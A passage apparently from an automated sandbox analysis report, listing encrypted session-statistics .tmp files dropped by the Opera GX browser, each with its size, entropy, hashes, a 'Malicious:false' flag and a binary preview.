                                                                                                                                                                                                              Preview:........XqNH5Ahz1XNjydYn9s+Rsxkz062uBTi0/qI/AfTk+ctI=.....!...~z....o.s..... ji...fDN..e.....@..f.....4.....|j..K4\CF...2.a............&z6...$.,'#.[T.(.an..=.(..........[.g....:...qa.F.T-U....$...JL...w.6"U..g...CS......_..5....E62.....?...0..sx.../..o.M0..Y.......yu.).......lv...6.......C.B...Cu.......l...p.%.X.....E<`....n..yX.....*.$..j=+..#.5s.+. .-....n.J......m/tB....p.Y..k...>#.....L..I..f...7....v.....B...c......W..3A..86..pN...o...d....j.V.,@......=#)..;...........$t...b.o.~..q.H.z.s.....|..#W/_...P.m../.Z)i...(,......bg_'.....[...(....Q..M...6H'...E...~TW....|+.....d..-....Uo.!7c>...}.o.jk...0.k.{.(ECU..Gee.....^.R..S.F.6.~..q.c7......w.z.m4O..t0..R4.l..}.@...6..K}B....o.....W/.Xv.+xH...m..3..C..m]......#u(.W...w.i..H..Jo..V..l.<..L.R...B.... .R...QE..T.3...0......g.R.8....n......Lq#...s.k.}i..=..3.4.P.;.. ..@=v...E-..:.N....;..T...N`....e..}..w7.v.uD..(.=T..A..R"h^J.{.OG...:...E...!....'.(K.dA.....b.m..9..&.l...O.%...'h-.8*"...A`.t3.%

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\93e83996-b2d8-4e67-9b4f-6fa8a58db839.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7805
                                                                                                                                                                                                              Entropy (8bit):7.976399714998993
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:3A53E95EF378D5ECB2017AA609BE7905
                                                                                                                                                                                                              SHA1:2F847A70BC69772D2D0DB143DE2C1582A124F844
                                                                                                                                                                                                              SHA-256:BE0ACE5B1E46EFFEF41D8CB5E4A2BB68CE06F5E023F264318C372A7F19FC9A40
                                                                                                                                                                                                              SHA-512:EA61B5DA30F33A3FCEA3FDA0717E5843360502DE2BECF4468F0FF69D72090175634B3C4EA1203972561C69FB54FA819D8C0BD1218168F4ECDD6C74836BA2EAFC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xen+bqOzNVtT2k5bBkNR3oKWfTsEMxMGD7Vb3D78In8Q=.....y;.....j...].....~....R...*.)..l..]`'.H.j,$.h..b...+..4....l.....n...s.4h.I......w........"S..J?.@..{p...<......tuH......Jo.7.......[Ef,....g...l.*w|.@...d5a..a..'..<(f{..Z.........TnI........U.n....)...'......,G...&.E._^..Q.Lj+..q6j.R.$6*u...L.q.Z...M\..4...0..s...h.?.F.F.<..T../...x.2u.b.|......'..g..k.N.z\v..U.J.=...+..9.....X.5a.R.*TEB.....`+.!..C..C.m...g.$..\.,.w..h.4l...z,..[....w."..t..':...E.c.$....55`..I.fJ.....E.6..M..`.H.Q.+w.&.......K.-T.~....L..Q..k"S...Sx.,......c...G.o.Oh[.@..}T9..b........FH%....xDl...\..%.TT.m.&.....s...m...}gLZ.-NQ.G..h"..C.kp.....7.......I.......>. ...J>P.p.*Zs.....D.4.<.}P.d.A.^............r.!.5.`........3.7.%t..:...~.u5.4.ZY.07B..9.EF>....:.1.T...;..f.R%.e.k'..*.M0F)..-H.Q....8..J.......9..}.P..)k.(}...I.u.G..*.......pW..Ito..U#....?*...HBr.E.J.....+.p...n.........8...m~.Sx.........=.....#..PA..QXW+[b..~.+j......NV...5.O.P.V.....=.Ew....T.1

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\952713c2-076b-4a90-b69a-677ef4908d18.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7757
                                                                                                                                                                                                              Entropy (8bit):7.973541231433359
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:EE322AAC527C53C61E4EFFC9BC6909A9
                                                                                                                                                                                                              SHA1:A56EC77E63A68116FB00F55F8FE6A29827560511
                                                                                                                                                                                                              SHA-256:FD6043359989CA91B620FD845FA0795E82842608513C97B8D0FE11F619181BC9
                                                                                                                                                                                                              SHA-512:476F0CD1041D567D4FBC6DD351AA2CDD0B6CE105EDB6318E8EBA2FE859647ACFDB19211FE57E7D20439A1AF8C47ED3C1E32E7EB7A336130B19E340FF5F0017F2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XkTQjm1myFRoi8t02E5Axf5i4Iufm4GJP9cMNW2pGN8k=.....x.u...2..1.....`Y.j......(-t...t{%h=.e.o...\2*Le4. ...u...S.H..../\.............piD..).....%.U:K!.............C........2#m.....?....[.?3....{..2...?R...I......1.~.Q...;.....D.L*./....@soh)t....`...I...l.y66.F.bwg.....|'XdD.7.w=6...F&...8..D$B6_....h.6..ls..._.G.....t..`......4c`.?=...r....wmI.....r..,c.+Ohm....Z^B....O!.$........].y.R..C....eD@.3.#..x8b.Q\vUx[?>.A.9..5=..............k...P I....]b........8^.l@..P]..qA.........\..L.......0'...$..XtQ..O.. ..Lg.y.kF..../..S..y...lD..uA.v......vC0.....7.L ..,..@vZ.'y.........P1...!...Y....,N..P..]......e..d..ou.<....l...(.....|..!.._dJ%.j/.L.{.......9.L........i..~...g\.......^I..&.....g...8.P..1.'`.....0b..wcgV.....S.vtj.U.D.[.(...A?]a_0'=14E.C&.Y../...u.l.M..H..w..x..I.,Fr..4Tr...._....X.......|QA.......x.s..N.".8..6pK.tW.m.!l....:.....]y.#.Qp..1.-.n..}.4C@#-6...a..:...H/..^AUv....3.(.u....D..;Q.h.X..G *P+;.Xw.$ ii.n.e.. ....?k...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\9771f3da-a552-49a3-8677-7ed471c3dd4c.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2013
                                                                                                                                                                                                              Entropy (8bit):7.908218095924251
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E3513DEB8485B034C8E5B01894DC9F11
                                                                                                                                                                                                              SHA1:DDAD741CC64661D5133FA5638911D7796AD464FE
                                                                                                                                                                                                              SHA-256:B9567F3232A6016E79A9A812AE6D3A5622604F00B8EEA4FAEC3B2C12CE6F414D
                                                                                                                                                                                                              SHA-512:C9F2054FE96043C7E5AD33D02688021E2CE29E9BBB16E2FF7016233A035B4C77F39676C19176E69C70CD5CA7FABC2ED65655FD471623A7236782CE924C6D58B5
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlyZkQauSD6JZgnekKulSCpVEEKCLgvcCU5HI8oeCoZc=............Q....u.G.8.B..&N~'....a.....FP..AV............?pv.E.....c.....tls..J...Ws..\.E+eH..5......C.r. ..}........'.x.....6...h..vz..({*[.)..H]k.qe....N...O...&.gY..Zc.f....I-..vf......,..C. . ......p....x...{..`.wW..be....+apHV...q.{ {].._T....q........%..n../t..E.+.....V....h..B...&.4h.he~.38.y.T........LT8.B...+=.._......J.......aL.e.l...q .*..5!b9.....%*....3..?k%}?..y:..~...\......k....]$6.Q. q/6+..].Ec...^3..^..O.#...>&j$.m.z..1+e.yFlp.....C.v...x.v#.+H.u*uX.r.h..9.u......4...NH......74... .".2._\.......V.{IX.+..Puu..C.7...P.G..w.8....(^.X.wfC...,(-7..nV...|zX..^.'M$...,..&r...........>.[..2..U...~.....L...h:.........1../...o...h.K.v.M....Y.9.(.....l5`I.j...........c.....:3.A.w.3.?{.....u.jI.&]#.*.d2.........Y.`#...K..;[../Q3..D>.....F.e..1.f.}l*i.....x.A.,)...1....9.d...?.+=........C.....P6..F.0s..0.?..R......,....,!...C..QI.B`.ua.%.w..?ao|.G%.e.)[..@=-...qa...H./>....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\97749f21-a888-4b93-8aba-561ec7ec328e.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.980609705923058
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:EA500BCB8A65613EE9FC150C3FFB17F8
                                                                                                                                                                                                              SHA1:5CFCD551A2003B11846CE18DC675D87056048400
                                                                                                                                                                                                              SHA-256:9B8110A060EA0F7C86A3590948B6E32C68AAFB881B14609D8D091905C48F07B8
                                                                                                                                                                                                              SHA-512:1979372002449DA92C41794334AC371BABD45142FCB3FDA168739E336443CF727740AD960BD001363F9699DAD604AB2F21F03FF3A570BFB7598EF5BC7A8F6260
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XGNveimGe+/ri63re/qJD9rCbf2zqgYeFJyu6EWDQ2cU=.......]..........UX................mx.l|F..n.>...% UpD.^6u...".).....:u...A...I..)=...B.u.L..W...,.=..\...w.D.Y|r...yP.W.......1<.|N..a.a..7..M^...w......^.4/IY..+^...<P,c..I9..\N.b......m..e...`.t...x;....PAl..Y.....&..........\=8..h....;........I...7.d.na.BI..G.E..f&R...... .v.tl....mJ...}....#.(.Y.=H.k..1.....P..[.].fD5)...-7..AT..L...}~.b..BD.l.[.q.].'_.%\U.l..:...K>.v(..........N....x9..........l...=...&.p.n...kA}h-S...-.=7.&U.#s.A..T.P7.Ti..aG..at..D..;.....u..:..........*....s...=>..I....+..p.g.N.}...4.0F.....>.0.....@<..m%].bi....V\d.f.,...EXz.u..-A..U..I.<..y.T...A.,5.s..5.....#..!...q@"E...@|...o./xo(...K.%...MQ.u..])+2b..-^}...>..Y..........5.e.f..(.+kV..D}....Y.B.ha..I.D..8;...n...\.....w....A....a.....9.....h.Zb..I...Tm..j..]L...-$....=.%N4.K...xj.......J&..m..@..Ih.@.E...9.8..~..B.N...^....~.. p...A.V.....3.1.-"&.&OW_...z..;..<>.z.0..... i..-..:..F.U7.HZ.+.p..[......d

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\98aaee03-3250-496a-ad89-55689f6ba0e0.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.983498998398812
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:BE27A7D99F39C611E6D706F212FA8005
                                                                                                                                                                                                              SHA1:175BF93075AB4E06769BA138E81BEC262C715826
                                                                                                                                                                                                              SHA-256:7C06A1625E5B9D544729EF4AAF84E76BE8B026A584E361B14F628DFC63B2934F
                                                                                                                                                                                                              SHA-512:2B292176637393D5020ED039E0B2C40FAA923ACE5818B39A2FE00E6DD42F4DF28391C940D83A12AB4CBFBE4F1C570CD72004FE5E3064D9F9362488B3BE910C2A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XyI4N9sQqwU1Gtq6zTUMFMx3sj+ofnkOAQDr9LiGOoI4=.......(..P{'...%......Jg..6"...-.b...5*..3.....JS.wM.......[.y..1Y!..)zD..>.W'v.....`...x...t...* .(..!.W.[3...Mhm.b....e..U[-...f.........a.*..'.S..y."O..&.......$..Y.B.)<)....Qf6D...a.!....CD..8...&Oj....d......Z...(.Ey.......S.2ww.u.]&...z.....O..IR....m.Nz..j+...BDI.+...^t........JM. .;..t......P....V.D.Vck8i.$r....K.4....CO...?\6....d&&v...cC.oA..asv....._.U.K0..`.1....\...T&s.&r.+..8....QT.......Zo.di...."4$.hV>O..q..)..In.....tJ.t;u....Ew..}.5r..f.BL...wM.qk..&..........`..M8...4..;..........J.=...c..|.....q....m5..(#.ms.uW[.B.;lT\y....e..{.-.!).....O.U4...7.^.b.-a. ......T.......WD..I.^...<..2..,.6.s......p.h.T...h..@zR.$...0..K.....:...i..uu.^.......z.]...bTA..j...8...Bv.(.I....". ...c..Z.O....(..\.1,......;5...i....l....6.l.%_Cn<q-.t.........M..L.......l.....e....<"...&./'....:QT#..(7Z...fW..(....:.k..Z....`.d..1t)..@.Y.J.......N"..c../...Z. ;|..q..v.U.s.n.X$U&Y..t

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\98bcfb38-d490-4c2f-be48-ddc36c289c01.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):6957
                                                                                                                                                                                                              Entropy (8bit):7.971888714999806
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9AC552A2F686592D55072D0697553360
                                                                                                                                                                                                              SHA1:568F4A55FD69FA5875A15974AD862581B59B4178
                                                                                                                                                                                                              SHA-256:8706F5318EAF0939A54C8681A45826877D2F37ED8D374EC88489B84A64437200
                                                                                                                                                                                                              SHA-512:75DCD8FAACF28497DBA419694386EDA5C982442AB2E50738E4100BF1E5B3F992B15067A7BD4E7868D439630EB4BE801055902DC390CA927DAAEEB280955D3481
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XB2burl7tC81VVQSioPu28+2JC6Vs1qtLCmo/cCfi1G4=.....k..X...m.H..N..."c...;.~.Q>8X.[_.}..=.5i.....X?E4...W...[).-....d.<...x...."..:.........!.n.M.t.....^..[:..../..'L.x(.Mp.7u0[...#.VL.....Fl.......n.K...s.p.K<!cl..D..S..R....{...n..zB...=&+[.j..].....6....]Dev.....v..R.r...\@.d..=f..H.o...^.......2....l..{..;..6....[./.I$J..rJ..;......m......_UH..}...~W.z.:...R...6..........Wmz=...j..p.3..6.71.9#.....0>..<....C...q....X.{....X.PiF.D.....`.l..sP.._ ....J.$.'.........R...u.-.-...S..n.......XI./.Rg...........>r..>......VMd.m$|i.H%.8..El...}Y.'M.NBq.2...[....2.oe.^.!Z@.Z.\.........M.....T....o...5...gsf.U....a-.B..?.!q..%...c=8S.=.UL }..i.e$......1..._.S....%*.E5../PtL.K.K....+.Z..WKF_......_.A...0...|X..Q./... 7m...DG....=..G..Qz.y...................I4}.i...7..-Y......y4.....7..H..OB.$.../Y.....5z...B...6r...1g1.U....q.!YR..2...........$.s.R]..f...l.."...i..8....2.O......._Wd.}.f..w/.H.4&..%e~\....{P.kT. .....M..g..H.6..Z.m<

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\9cad4083-7b09-4efd-afc4-f363ff8486be.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8510
                                                                                                                                                                                                              Entropy (8bit):7.977621146529393
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:54F050BDF74A3ABBD38EC1BC1EBE990B
                                                                                                                                                                                                              SHA1:69D34AFFA61B9E2EC979AAA1AE02D8F3354FEA82
                                                                                                                                                                                                              SHA-256:A16C5890E1646E05EBCE60367776D20C35320DA0ACF707F2F7403B893B9281C9
                                                                                                                                                                                                              SHA-512:A9C8A54DD8F710C692B069A33C61CD3673F06DD3416C77470F3FFEBF455DA9B44D5600F321A4C9E3CB2F8FA45BF3291CE924F2538416A7FFD3AB1F3C5B90C55C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XCQ4QHsIGgYL3RMx3V6opEM/eLnZ6lNhbh1hclT1r89A=..........k:..Z.j..F..O.;.L.rD.CD...X......p.r.<../Z.w.u.O0e....J.}.+.w....I.....z4..BP...9..=p..f`..57,\.6:7qd<..l..T^AT.6...=....4a.U..$..S._.....d.n36.z.....6Nu...7.L)+................l|...8.:.t..\Mx..&...J_th6.%....%.5...U..py... S....wL;%..N.0....P.&..X.$..n....(.o..D#.514...u..A..>!eT.V.j.....|w.x..FZ.....V..8..6......y$..\........+..z.%.P.n|..D....v\....Z..l ..."HX....M?...%..O#..r.7m........{.]s..5mR.w...qmj.."...'3.i.......?.)..``..%...J;4.x.......C...s.5....se..XsW.{..4.....?.F.Tv..z........F....Ih.T.F/..Xq..{../"....Bx.B..-.Q.S..B.(..............&..[}.....W....pmE?~..b.8'-. ....I...s.|.^.....q......4\m:........".u*~...f...616...V_.....L..L.3....7..).NL3.}X.z...Z.*.1=C.|..........&AV..~*.....4...[.J.I....T.v..J.Q....{D...5'2fF.O.P..n....r...,..c...7.....?..ku.3s].A....'W. ..$E..b...T...q.J;.M.J.....W.q...H.<A.....&.F...@.&.hF[..rRb...H|..D...q..{....z...Ww..........Ke.S

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\9e54445b-d58a-4028-8386-721af5eb9cc0.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.974701265624987
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:996D5B244BFAFF95104EC3C9D0B068EC
                                                                                                                                                                                                              SHA1:6AC5037438A29223CCEFAFB844232D93DF526B2F
                                                                                                                                                                                                              SHA-256:2AD89D4A01191962B99DEBC06C3B11C8EB5BFC0AF7DC971DB83485CCC31DC517
                                                                                                                                                                                                              SHA-512:1BBCD6B2452FE6AEC7FB5B0E6C7FB06EA4BBBE87D301F5CDE2EA0ECD9FA45A47D23EFDAA3B8D992121A0EE4631644711BDC755158DD96FEC48E669D152BF10C6
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XmiMNtKqF3/oRkl2559w8w3KhDCS4VyN1jnbnYD1ICZ0=.......;.^.Vq..O..0b...f?{W.8.......Z>....|l.r^...2<....Y...]$..f.S...h...pJ..v....r.z|....&/Y.bm...^X..8.....G9......e.'u...v}....m!.;.P....It.....t.e..........Ze`......j..(.:M......[..+.......V..g...];...L'...#C..|...5I..MQ...I{Cv...G...../..^..11..jA&..1.d..%..8Kg..]2e.n..U.n.:B6P_".....$v...gs.nc[..hi. .4.F\.y=U.n....u..)&...p.)...#Qh-aU6..%......\....L.A.]...t.S.$5.....t.W...2f...?.(.......B.&\..y.4..........F..SF..R..P..p.d/.*.[P...Nd.(.~..8.........0y*..........T.b)292.D.......~kd.+..>.B.......]..9...Jm....ji{T.R..RF.... UB.........c..a..R....9.'S.74.z...Y..P.........f$..gM...7.x...umG.p .Y.'X.S....x...|....<.V!...G"......<.7....8Q)qq.1....NV.=.....V..........T.{>3V!+E....WI.q.....Dm.`>..nP..xR.t...X.W...W..~a.P.....o.S<....n.."Be<..3.+.0.../.$.[.L..........b.5.&........Kp.b.w.,E..<.%..4.m.4.Co.....i..&........4.h... .;,...)..E.s.nB7...M#.+..P.!>(.P........v..KP$.f:c8.^..~.wT

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\9ef512c8-d629-4493-bbb9-e8b9c782d8fd.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.976366201294468
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:A32C01CF8B70FB6B735A2D341B39C309
                                                                                                                                                                                                              SHA1:4907782CE2D8AFBA06628FAD007E2BC7BB18A9B9
                                                                                                                                                                                                              SHA-256:7C7DF3259BF10C7E38695D4E84328117A99D1725C8857F99DD3AF760DD624A82
                                                                                                                                                                                                              SHA-512:8FAA29838C21D881395AC49C86033B5E86B0A240F699A2788755BD3F5B6B37D56EC5ACFA0E8AD02AAA71A04ACC80943F640485F9620209CAFD6F3F66449CF1C4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XmHN/LAcW3bF3E7hvqQ7JrorXDtcsqEw4a32u7i2gZfw=.........c.K.Y....>..o.G.R..-h..dP..R...l.b..T.T=....z9...9.3|d.L.C..r.#~..5W......u....#.l;.i.g...i.aBi2....q.w.a~...[N...Z....QAL#.w.+..l.....?`.......V......./...vE.E.{..+.O.Qp..!.9*.).q9..F...X4.3.....0.9.Q..z..$.-#R.o....<....I.&h...".-:..L.jf('..............".]`..:........5z.............._wW.....7[z a...0.$../...;.........B./...v.K.;..Vm.].,kn...B.A%.KY.8}a......%4.#..\.:.S.slUw.Y....N....r.w...B.B.Y....D.%E........>...*...V....@....=.1..Q./`k...3e9.J.i!.....:. #e.......[M....+.......C.&:.0{z2?..w`(....U..Q.<....$...T.A..w.~|y..P.K!/.....4u%..>aA.._..G.~.C ..k.j.........=.Q#...W.[QV1.h:...vZx].!...q....b{../...<n.C..?....v\...}.-b...D.fU../...o.8s....N.. ........{......S.Z...x...sQ....I.....=C.f..}.?..9.lM#..9- ...r...L...=9..A....>0.....R....4..nU..xO.rL...n..v.0=...h..<.i.q....Y<S.m..S....).e8L_.......=?.....e..w.d.Q....pd.r.U.1F...8.j".....{.^.S..y6...HbD..vL.e5~$>.g.@..m

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\a0ce00e4-ea3d-409d-9109-cb3d34ba785e.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9102
                                                                                                                                                                                                              Entropy (8bit):7.9787119397163
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F0BA77F99F2C9B2D741B78F282242B10
                                                                                                                                                                                                              SHA1:36E4CF34A551D80AE38E91AE7635F96FA3839FBB
                                                                                                                                                                                                              SHA-256:61A89C7826425797F2587553496FA1FCE861C3359AFF31C524AB167664019A46
                                                                                                                                                                                                              SHA-512:11FBF64D66D18F9718FD69886B7D433BBC03986B5C93FD0576F74ACDE26535FE6875EE4644A5EB8F2F893C1EF2624C5A3D537A205D7EC6BE28C9373BD8E4F326
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X3PARRTibg8qb0YTwE8mYkutOkBCkKwcNW/F1MO2uxIo=.......'J./..=c(..r.H+...#o.q.pzy^......&fe....I..>..............._.p..i.7..j......KL..i......:S..#K..[=..J!.....QvH.X.a{.....>&.!..7.J.8..Y.l..^.X.S.....W..I..ch..U.7.....#)...op..&.C.g`=G....@)"S...8:..EMDr.../|.M.}.zc..<l..|I..A....rw....>..l..I...,.U_.C.....c.......U].[....T.{...X.%K~.x=.....A...m....\'x.....>..pE.;......L....M.ChV.~...gy5.......)..".E........U.F<YJ.....Y.{..-'g0........q.jo(R".m..E..UWh.n5.$.........N.M...exF.!1.....Dg.y.._.h.`7.......=.&...n..........\.K.>..4J.b..kI...d..4\...~A.....D..m&NZ.G.....y.'<.c....;...&8......zPW...X..".>*1.$.s..e$..v....*.P ..z...S.3..GEBO.Eo./..7].........[LU...R.Q...n|u8...n..A`.....Y.0KJ.V=.4.mf(f.`....z....I.#.gd....w.r,Cg..n.11P..v.z")....#...I..mV,.p......R..V.Y!.u.......0......4.0C..P..T...<).bTCd...Z........B8.....h*..5Y..'.b.......I.W..!=.S#.....H...9.GV..hQP'.V.u..k.r....$.)..-$N.-M6^J\........O.g..:...f.U.AA.?.-.$>...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\a0cf384b-9143-4483-882d-00fb673c8f0e.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.981490153953269
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7EF9731F8C3BC966552121F5378AA4F9
                                                                                                                                                                                                              SHA1:65D4D1D95183AFB729ADFE1054D20FF3954CCA1E
                                                                                                                                                                                                              SHA-256:EB0F68C685189B5CFAC6255E2008F90A40A3188B913EF5920FEFCEF953A8E2C4
                                                                                                                                                                                                              SHA-512:76A8F0BF146008C8F2085C9F7FFE2E173C2CA3E01B9FCC39B8E29D2125664D671A5DF9E37B6658C5BA8FA13ED263C6F5AB19C9CFC807C7709BFB9FB87824BA12
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XvPNXDTycOZPblGOhncPI1LWEh+CNgJa0kzHyQ1zjvns=........S..r..k...Y...A.gG9.$.S..cW..I......e.Bm..@h.....\..|@.I.....&j...y.....@..Zc..Z.Z..n.dB<..3.".y....%..Y..o.S.p]B..L8.u...g.3..X....?.)...I_..D$./)F.*WqhJ..1u..?Q.cD....))6...%.....#W.../N...G.?=..m7."{.m.C).E..C...-.1...d.F>W.@...(J.o.......o.1.GUMk\.....f.N......M[e... ...i..?.$+.I.........Aa.d.....T..b..B.u...f..2~...4...aQ....k.*U...^.l......k..](...A_.q(E..l..B.....#e..`v..c.....^F.p[~...O.R.1c.l.......#...U.oN...F.......E]../.*.G..W>B.z8..O.#).$..Q..?0]G.l..|aL5.'S..:ht../.5...%..\...l.C..`.$.|{.$T.........,.wo.]..@.u..Pn .#k.CT..8..(...~6}..0._.{.........+W...,-I..{..H({..Q=....#v..P~..5-.'.(AU.t.!...g0.:....3{.a.V.?..9..I..H.b........B].4.......=..=....?I..(y...OJ.6.;....x*..."...;..........H.....=.c..7.[....y...3....a.....s.3.U..e\...c`&..3".|....=.=.....%.+@:..a...".:.]A.kp..1..b...u..Xj.O4WU..6d..^..o..\.=.........z.`....3.`&d}+...+Z()u.I..2...9H.....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\a1f9516a-5957-4b66-9ec5-8300c01ffa5d.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.979012280392269
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:3766E63AD329F410829FD563BE03E7B3
                                                                                                                                                                                                              SHA1:9C0EFA6FAD6F3E2D6C37E6E8337509E5A692F5DD
                                                                                                                                                                                                              SHA-256:2BF081DC3535711BE47F54C524C2B17A7E27B86BD848BCC98F21FE1940F0234E
                                                                                                                                                                                                              SHA-512:BB8E04278BF6ECE8EDECE6803902DC8BBA21031BCC4EEEFF03C596A62768DB7A8B68C7EAFDCDC93F854E9F993D1DA1EE313CF1280AAB81A9D3C8C29F51B5F1B2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
